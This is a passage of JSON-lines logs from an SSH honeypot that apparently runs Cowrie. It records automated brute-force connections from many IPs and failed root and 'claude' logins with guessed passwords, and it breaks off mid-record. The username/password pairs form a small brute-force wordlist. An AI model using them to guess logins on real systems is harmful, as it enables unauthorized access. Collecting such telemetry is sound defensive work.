{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:16.610853Z","src_ip":"103.27.238.120","session":"e81daaa1f868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":36854,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3f461f05b77","protocol":"ssh","message":"New connection: 69.49.246.176:36854 (159.203.135.109:22) [session: b3f461f05b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:21.132595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:21.142920Z","src_ip":"69.49.246.176","session":"b3f461f05b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:21.174069Z","src_ip":"69.49.246.176","session":"b3f461f05b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagger","message":"login attempt [root/dagger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:21.316412Z","src_ip":"69.49.246.176","session":"b3f461f05b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:22.351015Z","src_ip":"69.49.246.176","session":"b3f461f05b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":38042,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba0165f8c468","protocol":"ssh","message":"New connection: 43.134.112.237:38042 (159.203.135.109:22) [session: ba0165f8c468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:32.283945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:32.288383Z","src_ip":"43.134.112.237","session":"ba0165f8c468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:32.524978Z","src_ip":"43.134.112.237","session":"ba0165f8c468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:33.507635Z","src_ip":"43.134.112.237","session":"ba0165f8c468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:34.748514Z","src_ip":"43.134.112.237","session":"ba0165f8c468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":35828,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1899c43559","protocol":"ssh","message":"New connection: 103.96.74.162:35828 (10.17.0.5:22) [session: bf1899c43559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:40.842889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:40.851132Z","src_ip":"103.96.74.162","session":"bf1899c43559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:41.062101Z","src_ip":"103.96.74.162","session":"bf1899c43559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matilda","message":"login attempt [root/matilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:41.711357Z","src_ip":"103.96.74.162","session":"bf1899c43559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:42.991213Z","src_ip":"103.96.74.162","session":"bf1899c43559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":42314,"dst_ip":"10.17.0.5","dst_port":22,"session":"a108cc7d7b18","protocol":"ssh","message":"New connection: 103.243.24.124:42314 (10.17.0.5:22) [session: a108cc7d7b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:48.187480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:48.193005Z","src_ip":"103.243.24.124","session":"a108cc7d7b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:48.402444Z","src_ip":"103.243.24.124","session":"a108cc7d7b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:49.270633Z","src_ip":"103.243.24.124","session":"a108cc7d7b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:50.482930Z","src_ip":"103.243.24.124","session":"a108cc7d7b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":49532,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d381aec36f","protocol":"ssh","message":"New connection: 185.40.30.168:49532 (10.17.0.5:22) [session: f4d381aec36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:15.409555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:15.414746Z","src_ip":"185.40.30.168","session":"f4d381aec36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:15.545831Z","src_ip":"185.40.30.168","session":"f4d381aec36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joaquin","message":"login attempt [root/joaquin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:16.087549Z","src_ip":"185.40.30.168","session":"f4d381aec36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":34842,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9538e929af","protocol":"ssh","message":"New connection: 168.144.95.137:34842 (10.17.0.5:22) [session: 2e9538e929af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:16.312682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:16.317523Z","src_ip":"168.144.95.137","session":"2e9538e929af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:16.526523Z","src_ip":"168.144.95.137","session":"2e9538e929af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:17.220139Z","src_ip":"185.40.30.168","session":"f4d381aec36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123mudar","message":"login attempt [root/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:17.393355Z","src_ip":"168.144.95.137","session":"2e9538e929af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:18.604904Z","src_ip":"168.144.95.137","session":"2e9538e929af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":40226,"dst_ip":"159.203.135.109","dst_port":22,"session":"229b9e2b0464","protocol":"ssh","message":"New connection: 43.128.106.207:40226 (159.203.135.109:22) [session: 229b9e2b0464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:21.045256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:21.050153Z","src_ip":"43.128.106.207","session":"229b9e2b0464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:21.298103Z","src_ip":"43.128.106.207","session":"229b9e2b0464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:22.310329Z","src_ip":"43.128.106.207","session":"229b9e2b0464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:23.557983Z","src_ip":"43.128.106.207","session":"229b9e2b0464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":57854,"dst_ip":"159.203.135.109","dst_port":22,"session":"8db4011b752e","protocol":"ssh","message":"New connection: 43.134.104.184:57854 (159.203.135.109:22) [session: 8db4011b752e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:25.885388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:25.889755Z","src_ip":"43.134.104.184","session":"8db4011b752e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:26.126746Z","src_ip":"43.134.104.184","session":"8db4011b752e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:27.105791Z","src_ip":"43.134.104.184","session":"8db4011b752e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":43766,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5b93bb32a0","protocol":"ssh","message":"New connection: 217.154.42.110:43766 (159.203.135.109:22) [session: df5b93bb32a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:27.546731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:43:27.550489Z","src_ip":"217.154.42.110","session":"df5b93bb32a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 